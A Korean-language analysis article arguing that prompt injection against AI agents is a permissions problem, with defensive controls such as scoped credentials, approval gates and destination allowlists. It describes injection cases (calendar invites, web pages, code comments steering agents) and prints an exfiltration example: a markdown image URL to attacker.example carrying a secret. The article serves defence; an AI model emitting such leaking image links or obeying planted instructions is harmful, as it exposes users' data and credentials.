Skip to content
DigitalNeuron
안전·윤리

분석: 프롬프트 인젝션은 «권한» 문제다 — «문구» 문제로 다루니 계속 뚫린다

3년간의 대응책이 구멍을 못 막은 이유는, 구멍이 문구에 있지 않기 때문이다. 에이전트 보안이 실제로 사는 자리와, 방어 가능한 배포의 모양.

DigitalNeuron Desk5분 읽기

한 줄 답

프롬프트 인젝션은 왜 못 고치나, 그리고 팀은 대신 무엇을 해야 하나?

언어 모델은 지시와 데이터를 안정적으로 구분하지 못한다 — 둘 다 같은 토큰 열로 들어오기 때문이다. 특정 모델의 결함이 아니라 구조적 성질이라, 어떤 시스템 프롬프트도 이 구멍을 막지 못한다. 방어 가능한 배포는 에이전트가 읽는 모든 입력을 «적대적일 수 있는 것»으로 취급하고, 대신 에이전트가 «할 수 있는 일»을 좁힌다: 좁은 도구 범위, 세션 단위 자격증명, 되돌릴 수 없는 동작에 사람 승인, 그리고 성공한 인젝션을 «치명»이 아니라 «값싼 것»으로 만드는 유출 경로 제한.

핵심 요약

  • 언어 모델에서 지시와 데이터는 «한 통로»를 공유한다. 프롬프트를 아무리 다듬어도 모델이 지켜 줄 것이라 믿을 수 있는 경계는 생기지 않는다.
  • 인젝션은 모델이 «행동할 수 있을 때»만 문제가 된다. 심각도는 그것을 유발한 텍스트가 아니라 붙어 있는 도구가 정한다.
  • 쓸모 있는 설계 질문은 «인젝션 되나?»가 아니라 «이 에이전트가 한 턴에 저지를 수 있는 최악은 무엇이고, 누가 그것을 허가했나»다.
  • 탐지 분류기는 «양»을 줄이지 «위험 등급»을 바꾸지 못한다. 하나는 통과한다고 보고 설계한다 — 규모가 커지면 반드시 통과한다.
  • 가장 효과가 큰 통제는 가장 화려하지 않은 것들이다: 범위를 좁힌 자격증명, 허용 목록으로 묶은 목적지, 쓰기 동작 앞의 승인 관문.

몇 달에 한 번씩 새 시연이 돈다. 캘린더 초대장 하나로 비서가 메일함을 통째로 전달하게 만들고, 웹 페이지 하나로 브라우징 에이전트가 세션 토큰을 흘리게 만들고, 코드 주석 하나로 저장소 에이전트가 아무도 요청하지 않은 PR 을 연다. 시연은 매번 바뀐다. 반응은 잘 안 바뀐다 — 누군가는 더 단호한 시스템 프롬프트를 제안하고, 누군가는 분류기를 제안하고, 업계는 다음 시연까지 넘어간다.

이 반복의 이유는 문제를 잘못 분류해 뒀기 때문이다. 프롬프트 인젝션은 인가(authorisation) 문제인데 «콘텐츠 필터링 문제»로 논의되고 있고, 인가 문제는 문구를 잘 써서 풀리지 않는다.

경계는 «없다»

언어 모델은 하나의 열(sequence)을 받는다. 시스템 프롬프트, 사용자의 메시지, 검색해 온 문서의 내용, 도구 호출의 결과, 웹 페이지의 본문이 전부 그 열 안의 토큰으로 들어온다. 모델은 그 열에서 발견한 지시를 따르도록 학습돼 있다. 운영자의 의도만 지나가는 별도의 특권 통로도 없고, 특정 구간을 «작동하지 않는 것»으로 표시하는 장치도 없다.

이게 전부다. 개발자에게는 SQL 인젝션이라는 익숙한 모양이 있고, 그 비유는 어느 지점까지 유용하다. SQL 인젝션은 프리페어드 스테이트먼트로 «풀렸다» — 데이터베이스가 쿼리의 «구조»와 «값»을 서로 다른 통로로 받게 되면서, 값 안에 아무리 영리한 것을 넣어도 구조를 바꿀 수 없게 됐다. 언어 모델에는 프리페어드 스테이트먼트가 없다. 모델이 지시와 데이터를 따로 받고 그 구분을 «지켜 줄 것이라 믿을 수 있는» 범용 장치를 아직 아무도 출시하지 않았다.

구분자는 그 장치가 되지 못한다. 신뢰할 수 없는 콘텐츠를 태그·해시·특이한 구분선으로 표시하는 것은 성의 없는 시도를 막아 주고, 해야 하는 일이다. 다만 그 표시 자체가 같은 열 안의 텍스트다. 표시된 구간 안에 충분히 직접적인 지시를 넣으면 여전히 따라간다 — 특히 그 지시가 위쪽의 일반적인 방어 지시보다 더 구체적이고 더 뒤에 있을 때 그렇다.

권한 없는 인젝션은 «구경거리»다

설계 판단을 바꾸는 재구성은 여기다. 심어진 지시는 모델이 그 결과로 무언가를 할 수 있을 때만 흥미롭다.

적대적 웹 페이지를 읽고 텍스트를 내놓는 모델은 «틀린 말을 하게 된» 것이다. 품질 문제다 — 실재하지만 범위가 있다. 같은 모델에 메일 발송 도구·HTTP 클라이언트·오래가는 OAuth 토큰이 붙으면 다른 시스템이 된다. 그 적대적 페이지는 이제 그 자격증명이 닿는 모든 곳으로 이어지는 원격 코드 경로다.

즉 인젝션의 심각도는 텍스트의 성질이 아니다. 그 텍스트를 읽는 순간 모델에 붙어 있던 도구 표면의 성질이다. 같은 모델·같은 시스템 프롬프트·같은 방어를 쓴 두 배포가, 한쪽에만 쓰기 권한 토큰이 루프 안에 있다는 이유로 최악값에서 몇 자릿수 차이가 난다.

그래서 «우리 프롬프트는 얼마나 인젝션에 강한가»는 틀린 지표이고, «이 에이전트가 한 턴에 저지를 수 있는 최악은 무엇인가»가 맞는 지표다. 두 번째 질문은 적어서 보안 검토자에게 건네고 시험해 볼 수 있는 답이 나온다.

계속 뚫리는 그 «모양»

심각한 사고 형태의 시나리오는 거의 전부 같은 재료 셋을 갖고 있다.

  • 신뢰할 수 없는 입력이 모델에 닿는다. 메일 본문, 웹 페이지, PDF, 이슈 트래커, 캘린더 초대장, 코드 주석, 파일명, OCR 결과, 통화 기록. 제3자가 쓸 수 있는 모든 것.
  • 모델이 오래가는 넓은 자격증명을 쥔다. 장기 API 토큰, 서비스 계정, 세션 쿠키, 샌드박스에 마운트된 SSH 키.
  • 바깥으로 나가는 경로가 있다. HTTP 클라이언트, 메일 도구, 웹훅, git push — 혹은 그냥 렌더러가 가져올 이미지 URL 하나.

셋 중 하나만 없애도 흥미로운 공격은 훨씬 어려워진다. 그게 실제 설계 지렛대이고, 인젝션에 강한 모델을 기다리지 않고 오늘 쓸 수 있다.

세 번째 재료는 특히 눈에 안 띄어서 짚어 둘 만하다. 마크다운 이미지 렌더링은 유출 통로다. 에이전트가 https://attacker.example/?d=SECRET 을 가리키는 이미지 태그를 뱉고 그 화면이 이미지를 렌더하면, 도구 호출 없이도 공격자가 고른 내용을 담은 외부 요청이 나간다. HTTP 도구는 꼼꼼히 허용 목록으로 묶어 놓고 에이전트 출력은 리치 마크다운으로 렌더하는 팀은 뒷문을 열어 둔 것이다.

위험 «등급»을 실제로 바꾸는 통제

순서는 일부러 이렇게 뒀다. 값싼 구조적 통제가 정교한 통계적 통제보다 많은 일을 한다.

자격증명을 «에이전트»가 아니라 «작업»에 맞춰 좁힌다. 한 고객의 티켓을 요약하는 동안 에이전트가 쥔 토큰은 다른 고객의 티켓을 읽을 수 없어야 한다. 평범한 최소 권한 원칙을 서비스 단위가 아니라 세션 단위로 적용하는 것뿐이다. 지렛대가 가장 큰 통제인 이유는, «공격자가 우리 데이터에 닿았다»를 «공격자가 이 요청이 어차피 다루던 데이터에 닿았다»로 바꾸기 때문이다.

되돌릴 수 없는 동작과 밖으로 나가는 동작에 관문을 둔다. 읽기는 대체로 자동이어도 된다. 쓰기·발송·결제·삭제·병합·외부 게시가 사람 확인이 값을 하는 자리다. 관문은 «무언가를 하려 한다»가 아니라 «무엇이 일어날 것인가»를 보여 줘야 한다 — "에이전트가 메일 도구를 쓰려 합니다"라는 승인 창은 사람에게 «예»를 누르는 훈련을 시킨다. 수신자를 이름으로 보여 주고 본문을 펼쳐 주는 창은 그렇지 않다.

도구만이 아니라 «목적지»를 허용 목록으로 묶는다. 알려진 호스트 집합으로 제한된 fetch 도구는 아무 URL 에나 닿는 fetch 도구와 실질적으로 다른 물건이다. 메일 수신자·웹훅 대상·git 원격도 마찬가지다.

판돈이 크면 «계획»과 «실행»을 분리한다. 흔한 패턴은 모델 둘이다. 하나는 신뢰할 수 없는 자료를 읽되 도구를 부를 능력이 전혀 없이 구조화된 요약만 내놓고, 다른 하나는 — 원본 텍스트를 결코 보지 않은 채 — 그 구조화된 출력 위에서 행동한다. 인젝션을 없애지는 못한다(요약이 payload 를 실어 나를 수 있다). 다만 제한된 스키마는 자유 텍스트보다 훨씬 좁은 통로다.

행동으로 이어진 지시의 «출처»를 남긴다. 사고가 났을 때 «어느 문서가 이 에이전트를 그렇게 시켰나»라는 질문에, 세션을 기억으로 재구성하지 않고 답할 수 있어야 한다.

그다음에 분류기를 얹는다. 인젝션 탐지기·출력 스캐너·이상 탐지 규칙은 배포할 가치가 있다. 양을 줄여 준다. 그 정도로 대우하면 된다 — 적대적 입력 분포 위의 통계적 필터, 잡음을 깎는 데 유용하고, 위험한 권한을 떠받치는 기둥으로는 결코 삼지 않는다.

도구 설계에 주는 함의

표준 도구 인터페이스 — Model Context Protocol 을 포함해 — 가 퍼지면서 에이전트에 권한을 붙이는 일이 쉬워졌다. 그 쉬움이 위험이다. 항목마다 클릭 한 번인 커넥터 카탈로그는 도구 표면을 누구의 위협 모델보다도 빠르게 키운다.

습관 둘이 도움이 된다. 첫째, 도구는 넓은 API 가 아니라 좁은 «동사»여야 한다. 주문 id 와 금액을 받고 서버 쪽 상한이 걸린 refund_order 는, 메서드·경로·본문을 받는 범용 call_internal_api 보다 안전한 물건이다 — 두 번째가 더 유연하고 만들기도 훨씬 쉽지만, 심어진 지시가 쓰는 것이 정확히 그 유연성이다.

둘째, 파괴적 권한은 모델이 «설득할 수 없는» 정책 뒤에 둔다. 환불 상한이 도구 «구현»에 박혀 있으면, 환불이 정당한지에 대한 모델의 추론이 그 상한을 넘을 수 없다. 상한이 시스템 프롬프트에 «설명»돼 있으면 넘을 수 있다.

불편한 부분

이 분석에는 «문제가 해결됐다»로 끝나는 판본이 없다. 지시 위계(instruction hierarchy) 연구, 시스템 수준 텍스트를 우선하도록 학습시키는 연구, 통로를 구조적으로 분리하는 연구는 실재하고 진전하고 있으며, 지금보다 «훨씬» 인젝션에 강한 모델은 진짜로 값어치가 있을 것이다. 다만 «훨씬 낫다»와 «프로덕션 자격증명에 붙여도 안전하다»는 같은 말이 아니고, 보안 태세를 아직 출시되지 않은 능력 위에 세워서는 안 된다.

실무의 자리는 보안 공학이 신뢰할 수 없는 입력을 두고 늘 취해 온 자리와 같다. 뚫린다고 가정하고, 뚫렸을 때의 피해가 «모델의 판단» 아닌 다른 것으로 묶여 있게 만든다. 이 글의 모든 통제는 지금 쓸 수 있고, 어느 것도 새 모델을 요구하지 않으며, 합치면 사고의 등급을 «치명적»에서 «성가심»으로 내린다.

«해결»보다 낮은 천장이다. 동시에 그것이, 배포할 수 있는 에이전트와 시연밖에 못 하는 에이전트를 가르는 차이다.

자주 묻는 질문

프롬프트 인젝션과 탈옥(jailbreak)은 같은 말인가?
아니다. 탈옥은 그 시스템의 «사용자»가 모델에게 제 정책을 무시하게 만드는 것이다. 인젝션은 «제3자»가 모델이 읽는 콘텐츠에 지시를 심는 것이라, 공격자는 사용자가 아니고 사용자는 대개 피해자다.
시스템 프롬프트를 더 잘 쓰면 막히나?
공격 비용을 올리고 성의 없는 시도는 막는다. 다만 경계를 만들지는 못한다 — 방어 지시와 공격 지시가 모델에게는 같은 종류의 물건이고, 더 구체적이거나 더 뒤에 있는 텍스트가 이기는 일이 잦다.
가드레일 분류기가 해결책인가?
성공 시도의 «양»을 줄여 준다. 할 가치가 있다. 다만 적대적 입력 공간 위의 통계적 필터이므로, 잡음 감소로 다루고 «위험한 권한을 안전하게 만드는 통제»로는 절대 삼지 않는다.
어떤 에이전트 설계가 가장 위험한가?
신뢰할 수 없는 콘텐츠를 읽으면서 오래가는 넓은 자격증명을 쥔 모든 에이전트다. 메일 비서·브라우징 에이전트·티켓 분류 봇·저장소 에이전트가 전형적인 모양이다 — 공격자가 쓸 수 있는 텍스트를 먹고, 기록 시스템에 손을 댄다.
단 하나만 고른다면 어떤 통제인가?
한 턴의 폭발 반경을 줄이는 것 — 이 작업에 필요한 자원에만 닿는 자격증명, 그리고 되돌릴 수 없거나 밖으로 나가는 모든 동작 앞의 단단한 승인 관문.

출처

  1. OWASP Top 10 for LLM ApplicationsOWASP
  2. AI Risk Management FrameworkNIST
  3. Model Context Protocol — specificationModel Context Protocol
  4. Regulation (EU) 2024/1689 — Artificial Intelligence ActOfficial Journal of the European Union
태그securityprompt injectionagentstool usepermissionsthreat modelling

함께 읽기

앤트로픽, 500만 달러 규모의 AI 웰빙 연구 지원 프로그램 출범

Anthropic은 AI가 사용자 웰빙에 미치는 영향을 독립적으로 연구하기 위한 500만 달러 규모의 지원금 프로그램을 출범했습니다. 선정된 지원 대상자는 직접적인 자금 지원과 Anthropic 모델 이용 권한 및 기술 지원을 받으며, 독립적으로 오픈소스 평가 도구를 개발하게 됩니다. 신청 마감일은 9월 21일이며, 전체 제안서 제출 초청은 10월 5일까지 진행될 예정입니다.

3분 읽기

AI 에이전트는 챗봇과 무엇이 다른가

AI 에이전트는 호출할 수 있는 도구와 추구할 목표를 받고, 단계마다 사람에게 묻지 않고 여러 걸음을 진행할 권한을 얻은 언어모델이다. 챗봇은 질문에 답하고 멈추지만, 에이전트는 목표가 달성됐다고 판단하거나 예산이 소진될 때까지 계속 행동한다.

갱신 5분 읽기

분석: 언어 모델에서 «기계가 읽을 수 있는» 출력 받기 — «JSON 으로 줘»는 사양이 아니다

플랫폼이 제공하는 제약 디코딩(스키마 강제 모드)이 있으면 그것부터 켠다 — 형식 오류를 «드문 일»이 아니라 «불가능한 일»로 만들기 때문이다. 그다음 스키마를 «모델이 읽을 것»으로 설계한다: 평평하게, 필수 필드는 적게, 값 공간이 닫혀 있으면 enum 으로, «모름»을 말할 수 있는 자리를 명시적으로 두고, 계산이 필요한 필드는 넣지 않는다. 모든 응답을 스키마로 검증하고, «모양»이 아니라 «값»이 맞는가는 검증이 풀어 주지 않는 별개 문제로 다룬다.

6분 읽기